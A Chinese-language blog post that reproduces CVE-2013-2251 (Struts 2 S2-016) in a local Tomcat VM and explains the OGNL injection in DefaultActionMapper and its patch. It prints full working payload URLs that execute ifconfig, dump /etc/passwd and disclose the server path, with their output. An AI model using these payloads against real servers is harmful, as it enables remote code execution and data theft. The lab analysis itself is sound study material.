[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析

仙果發表於2013-07-19
CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析  
題記:總喜歡開頭說些廢話,2013年7月17日在安全圈絕對是一個值得紀念日子,由於Apache 直接公開了Struts2 0day漏洞的Poc,並沒有留個各大廠商打補丁的時間,一時間各大網站紛紛中招,有圖可證:
[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
  影響範圍太廣太大,直到今天(2013年7月18日)微博上還是在討論這件事情,各種風聲鶴唳。如下連結可以檢視各大微博關於Struts2漏洞的討論:
  http://www.baidu.com/s?rtt=2&tn=baiduwb&rn=20&cl=2&wd=struts2
  晚上下班到家之後,kanxue大哥電話過來說想讓我分析下這個漏洞,但是確實有些趕鴨子上架,不做Web方面已經很多年,連一些基本的網頁都寫不好,確實難了些,硬著頭皮答應了下來,馬上著手分析。
  既然要做原理級的分析,肯定不敢拿網路上的真實伺服器來測試分析,我們還是怕OOXX部門來查水錶,萬一就Game Over!
  由於此類漏洞分析的少,而且對作業系統環境也不熟悉,所以此篇文章會盡可能的詳細記錄搭建測試環境和分析過程中遇到的種種問題,相信很多大牛會不屑,還請多多指正,仙果感激不盡!
一、漏洞簡要描述
  Apache Struts框架是一個基於Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web應用框架的開源專案。        Apache Struts 2 DefaultActionMapper在處理短路徑重定向引數字首
  "action:"/"redirect:"/"redirectAction:"時存在命令執行漏洞,由於對
  "action:"/"redirect:"/"redirectAction:"後的URL資訊使用OGNL表示式處理,遠端攻擊者可以利用漏洞提交特殊URL可用於執行任意Java程式碼。
  引用自:http://www.venustech.com.cn/NewsInfo/124/21871.Html
  Apache Struts2官方關於此漏洞的介紹連結:
  http://struts.apache.org/development/2.x/docs/s2-016.html
  The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
從描述資訊中我們可以得到以下資訊:
Struts2的使用範圍非常廣
Struts2 DefaultActionMapper處理段路徑重定向引數字首不嚴謹導致的漏洞
利用漏洞可以執行任意Java程式碼
接下來就是構造測試環境來驗證這個漏洞。
二、測試環境搭建
  網上公開的程式碼都是針對Linux系統的,因此我也隨大流安裝一個Linux系統,選擇了最新版的ubuntu 13.04,下載地址是:
  http://cdimage.ubuntu.com/ubuntustudio/releases/13.04/release/ubuntustudio-13.04-dvd-i386.iso
  虛擬機器安裝又快又好,不得不讚嘆下,而且還給安裝了Vmtools省了不少勁。
1、安裝Tomcat
  由於ubuntu 系統整合了JDK,也就省去了安裝JDK的麻煩:
  admin001@ubuntu:/usr/local/development/tomcat7/bin$ java -version
  java version "1.7.0_21"
  OpenJDK Runtime Environment (IcedTea 2.3.9) (7u21-2.3.9-1ubuntu1)
  OpenJDK Client VM (build 23.7-b01, mixed mode, sharing)
  
  Sudo wget 
  http://apache.fayea.com/apache-mirror/tomcat/tomcat-7/v7.0.42/bin/apache-tomcat-7.0.42.tar.gz

  下載完成之後,解壓之:
  sudo tar zxvf apache-tomcat-7.0.42.tar.gz

  重新命名:
  Sudo mv apache-tomcat-7.0.42 tomcat7

  修改配置檔案:
  Cd tomcat7
  Cd bin
  Sudo gedit catalina.sh (不會使用Vim,汗!!!)

  在如下程式碼之上
  cygwin=false
  darwin=false
  os400=false
  case "`uname`" in
  CYGWIN*) cygwin=true;;
  Darwin*) darwin=true;;
  OS400*) os400=true;;

  新增這部分程式碼:
  JAVA_HOME =/etc/java-7-openjdk
  JAVA_OPTS="-server -Xms512m -Xmx1024m -XX:PermSize=600M -XX:MaxPermSize=600m -Dcom.sun.management.jmxremote"

  如圖所示:
[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
  最後執行
  Sodu ./ startup.sh 

  Tomcat7安裝成功,如圖:
[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
  安裝過程基本上沒有遇到什麼大的難題,都是在網上現找的資料,現學現賣安裝Tomcat成功,其中一直找不到openJDK的路徑,請教同事以後透過以下命令找到:
Sudo find / -name *openjdk*

2、配置Struts2
  本著分析的目的,下載了已經修補了此漏洞的版本和之前的一個版本,分別是
  http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15.1-all.zip(最新版
  http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15-all.zip(有漏洞版本)
  測試環境使用版本是struts 2.3.15,使用struts2 安裝配置 作為關鍵字進行搜尋,都很簡單,如:http://tech.ddvip.com/2009-07/1248354379126155.html  只介紹了幾句話,讓我無從下手。
  先解壓下載回來的zip檔案,.\struts-2.3.15\apps\struts2-blank.war存在這麼一個檔案,根據查詢的資料是struts2的例子,複製到ubuntu虛擬機器中進行解壓複製。
  沒有找到jar命令,只能直接解壓到桌面然後移動到tomcat目錄下。必須移動到
  /usr/local/development/tomcat7/webapps 

  目錄下,否則會有404的錯誤,我在這個問題糾結了2個多小時,最後請教別的部門同事才發現移動到了
  /usr/local/development/tomcat7/webapps/ROOT

  目錄下,始終不能夠正常顯示。
  透過網頁訪問:
  http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action
  如下圖說明Struts2 成功
[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
三、漏洞測試
  測試環境搭建已經搭建成功,現在來測試漏洞是否存在。由於已經公開了POC,免去了再去構造POC的麻煩,可以直接拿來程式碼進行測試。
  先來檢視IP地址:
  http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

  命令回顯如下:
  eth0      Link encap:Ethernet  HWaddr 00:0c:29:58:66:9e  
            inet addr:192.168.199.138  Bcast:192.168.199.255  Mask:255.255.255.0
            inet6 addr: fe80::20c:29ff:fe58:669e/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:40469 errors:0 dropped:0 overruns:0 frame:0
            TX packets:23308 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000 
            RX bytes:55069446 (55.0 MB)  TX bytes:1421989 (1.4 MB)
            Interrupt:19 Base address:0x2000 
  
  lo        Link encap:Local Loopback  
            inet addr:127.0.0.1  Mask:255.0.0.0
            inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING  MTU:65536  Metric:1
            RX packets:1638 errors:0 dropped:0 overruns:0 frame:0
            TX packets:1638 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0 
            RX bytes:479063 (479.0 KB)  TX bytes:479063 (479.0 KB)

  再來看下密碼:
  http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

  回顯:
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  bin:x:2:2:bin:/bin:/bin/sh
  sys:x[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析3:sys:/dev:/bin/sh
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/bin/sh
  man:x:6:12:man:/var/cache/man:/bin/sh
  lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  mail:x:8:8:mail:/var/mail:/bin/sh
  news:x:9:9:news:/var/spool/news:/bin/sh
  uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  proxy:x:13:13:proxy:/bin:/bin/sh
  www-data:x:33:33:www-data:/var/www:/bin/sh
  backup:x:34:34:backup:/var/backups:/bin/sh
  list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  syslog:x:101:103::/home/syslog:/bin/false
  messagebus:x:102:105::/var/run/dbus:/bin/false
  avahi-autoipd:x:103:106:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
  usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
  dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/bin/false
  whoopsie:x:106:111::/nonexistent:/bin/false
  kernoops:x:107:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
  rtkit:x:108:114:RealtimeKit,,,:/proc:/bin/false
  speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
  avahi:x:110:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
  colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false
  pulse:x:112:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false
  hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
  gdm:x:114:121:Gnome Display Manager:/var/lib/gdm:/bin/false
  saned:x:115:123::/home/saned:/bin/false
  debian-spamd:x:116:124::/var/lib/spamassassin:/bin/sh
  admin001:x:1000:1000:test,,,:/home/admin001:/bin/bash

  爆路徑:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}

  回顯:
  /usr/local/development/tomcat7/webapps/struts2-blank/

  上述測試說明struts 2.3.15版本下漏洞是確實存在的。
四        、漏洞原理分析
  首先來解析下可利用URL中的有用資訊
  http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

  URL解碼後為:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

  Ifconfig 命令很顯然就是真正執行程式碼,相當於二進位制漏洞的ShellCode,應該可以這麼理解,不對之處還請指正。
  透過查詢資料,若要驗證漏洞是否存在,可以這麼測試
http://localhost/struts2-blank/example/X.action?action:%25{3*4}

  原理是
  /usr/local/development/tomcat7/webapps/struts2-blank/WEB-INF/src/example.xml:
        
    <action name="*" class="example.ExampleSupport">
              <result>/example/{1}.jsp</result>
          </action>

  當*匹配到一串精心構造的OGNL語句時,會把它放到{1}中,形成OGNL二次執行。
結果如圖:
[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
  可以看到{3*4}作為程式碼(OGNL語句)執行,結果傳遞給了{1},構造了12.jsp。說明URL引數中X.action?redirect:${一大串惡意引數},惡意引數被作為程式碼執行,有些類似於遠端程式碼執行,不過威力更大,不需要軟體即可達到這個效果。
  現在來看什麼是OGNL?也是查資料而來。
OGNL(Object Graph Navigation Language),是一種表示式語言。使用這種表示式語言,你可以透過某種表示式語法,存取Java物件樹中的任意屬性、呼叫Java物件樹的方法、同時能夠自動實現必要的型別轉化。如果我們把表示式看做是一個帶有語義的字串,那麼OGNL無疑成為了這個語義字串與Java物件之間溝通的橋樑。
  URL中使用了多個”#”符號,解釋如下:
#符號的用途一般有三種。
1    訪問非根物件屬性,例如#session.msg表示式,由於Struts 2中值棧被視為根物件,所以訪問其他非根物件時,需要加#字首。實際上,#相當於ActionContext. getContext();#session.msg表示式相當於ActionContext.getContext().getSession(). getAttribute("msg") 。
2    用於過濾和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0]。
3    用來構造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。
  知道了X.action?redirect:${一大串惡意引數}中的惡意引數其實為OGNL表示式,透過OGNL表示式的二次執行來觸發漏洞,達到利用的目的。
  其次分析漏洞描述資訊,DefaultActionMapper在處理短路徑重定向引數字首
  "action:"/"redirect:"/"redirectAction:"時存在命令執行漏洞,從中可以知道,Struts2的DefaultActionMapper模組處理”action”時出現的漏洞,來看看
  DefaultActionMapper模組針對三種重定向引數的處理過程。
  在路徑:
  .\struts-2.3.15\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java

  找到了DefaultActionMapper模組。
  定義重定向相關字串變數:
  protected static final String METHOD_PREFIX = "method:";
      protected static final String ACTION_PREFIX = "action:";
      protected static final String REDIRECT_PREFIX = "redirect:";
      protected static final String REDIRECT_ACTION_PREFIX = "redirectAction:";
  就是重定向引數字首。

  protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");

  顧名思義定義允許的Action名字,這是一個關鍵點,下面會講到。
再來看是如何處理的:
                put(ACTION_PREFIX, new ParameterAction() {	//action處理模組
                    public void execute(String key, ActionMapping mapping) {
                        String name = key.substring(ACTION_PREFIX.length());
                        if (allowDynamicMethodCalls) {
                            int bang = name.indexOf('!');
                            if (bang != -1) {
                                String method = name.substring(bang + 1);
                                mapping.setMethod(method);
                                name = name.substring(0, bang);
                            }
                        }
                        mapping.setName(name);
                    }
                });

                put(REDIRECT_PREFIX, new ParameterAction() {	//redirect處理模組
                    public void execute(String key, ActionMapping mapping) {
                        ServletRedirectResult redirect = new ServletRedirectResult();
                        container.inject(redirect);
                        redirect.setLocation(key.substring(REDIRECT_PREFIX
                                .length()));
                        mapping.setResult(redirect);
                    }
                });

                put(REDIRECT_ACTION_PREFIX, new ParameterAction() {
  	//redirectAction處理模組
                    public void execute(String key, ActionMapping mapping) {
                        String location = key.substring(REDIRECT_ACTION_PREFIX
                                .length());
                        ServletRedirectResult redirect = new ServletRedirectResult();
                        container.inject(redirect);
                        String extension = getDefaultExtension();
                        if (extension != null && extension.length() > 0) {
                            location += "." + extension;
                        }
                        redirect.setLocation(location);
                        mapping.setResult(redirect);
                    }
                });

分析一下處理流程:
1.String name 根據 action的長度取得名字
2.判斷是否為動態執行方法,為True則繼續執行
3.判斷名字中是否有”!”,若有繼續處理,沒有則直接對mapping進行操作,對應程式碼為:
mapping.setName(name);
  針對"redirect:"和"redirectAction:"的處理過程大同小異。
  有句話是這麼說的,使用者的任何輸入都是惡意的,意思就是說需要對使用者的一切輸入都要進行檢查然後才能進入到程式的執行當中,否則就會出現漏洞。觀察上述程式碼可以發現,程式除了檢查”name”中有沒有存在”!”之外並沒有其他任何檢查,直接呼叫mapping.setName()函式進行賦值,導致了漏洞的產生。
  繼續分析程式碼可以發現:
/**
     * Cleans up action name from suspicious characters
     *
     * @param rawActionName action name extracted from URI
     * @return safe action name
     */
    protected String cleanupActionName(final String rawActionName) {//字串過濾函式
        if (allowedActionNames.matcher(rawActionName).matches()) {
            return rawActionName;
        } else {
            if (LOG.isWarnEnabled()) {
                LOG.warn("Action [#0] does not match allowed action names pattern [#1], cleaning it up!",
                        rawActionName, allowedActionNames);
            }
            String cleanActionName = rawActionName;
            for(String chunk : allowedActionNames.split(rawActionName)) {
                cleanActionName = cleanActionName.replace(chunk, "");
            }
            if (LOG.isDebugEnabled()) {
                LOG.debug("Cleaned action name [#0]", cleanActionName);
            }
            return cleanActionName;
        }
  }

  cleanupActionName()函式的作用就是過濾rawActionName中的可疑字元(類似XSS檢測過濾),並且呼叫了之前定義的allowedActionNames,rawActionName只能在
  "[a-zA-Z0-9._!/\\-]*"中選擇。但是雖然定義了過濾函式,但是程式碼中確沒有引用到過濾函式,程式設計師的疏忽導致的。
五、補丁分析
  已經修補了此漏洞的版本是struts-2.3.15.1,也是最新版本,定位到:
.\struts-2.3.15.1\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java程式碼中為

      protected static final String METHOD_PREFIX = "method:";
      protected static final String ACTION_PREFIX = "action:";

  只定義了"action:";,刪除了"redirect:";和"redirect:"的定義和處理函式。
  Action的處理程式碼:
                put(ACTION_PREFIX, new ParameterAction() {
                    public void execute(String key, ActionMapping mapping) {
                        String name = key.substring(ACTION_PREFIX.length());
                        if (allowDynamicMethodCalls) {
                            int bang = name.indexOf('!');
                            if (bang != -1) {
                                String method = name.substring(bang + 1);
                                mapping.setMethod(method);
                                name = name.substring(0, bang);
                            }
                        }
                        mapping.setName(cleanupActionName(name));
                    }
                });

  可以明顯的看到在呼叫mapping.setName()函式是引用了cleanupActionName()函式對name進行過濾操作。
六、總結
  至此CVE-2012-2251漏洞從構造測試環境到分析漏洞成因結束了,來概括下一下漏洞觸發的根本原因,程式設計師在編寫重定向短路徑引數時沒有對引數的內容進行正確的過濾,一些OGNL的特殊字元沒有得到過濾導致可以構造出特殊的OGNL表示式來執行任意程式碼。
  分析是分析完成了,但是縱觀整篇分析還是有很多不足之處,在漏洞觸發原理上清楚了,但是程式碼在動態執行的過程並沒有分析明白,還沒有掌握java程式碼的除錯技巧,革命尚未成功,同志仍需努力。
附註:引用資料
Struts2深入學習:OGNL表示式原理
http://developer.51cto.com/art/201203/322509.htm
Java程式設計師從笨鳥到菜鳥之(四十八)細談struts2(十)ognl概念和原理詳解
http://blog.csdn.net/csh624366188/article/details/7550606
struts2 OGNL的用法介紹
http://blog.csdn.net/songylwq/article/details/7568859
Struts2中的OGNL詳解
http://www.cnblogs.com/xly1208/archive/2011/11/19/2255500.html
OGNL表示式struts2標籤“%,#,$”
http://www.blogjava.net/parable-myth/archive/2010/10/28/336353.html
關於struts 2為什麼會有程式碼執行漏洞的小帖子
http://blog.csdn.net/wangyi_lin/article/details/9273903
struts 最新漏洞執行程式碼。
http://www.itkuo.cn/blog/776.html#2367742-tsina-1-79379-ad5670703bfac221da8f7c0184712c13
Apache Struts 2 Documentation
S2-016
http://struts.apache.org/development/2.x/docs/s2-016.html
上傳的附件:

相關文章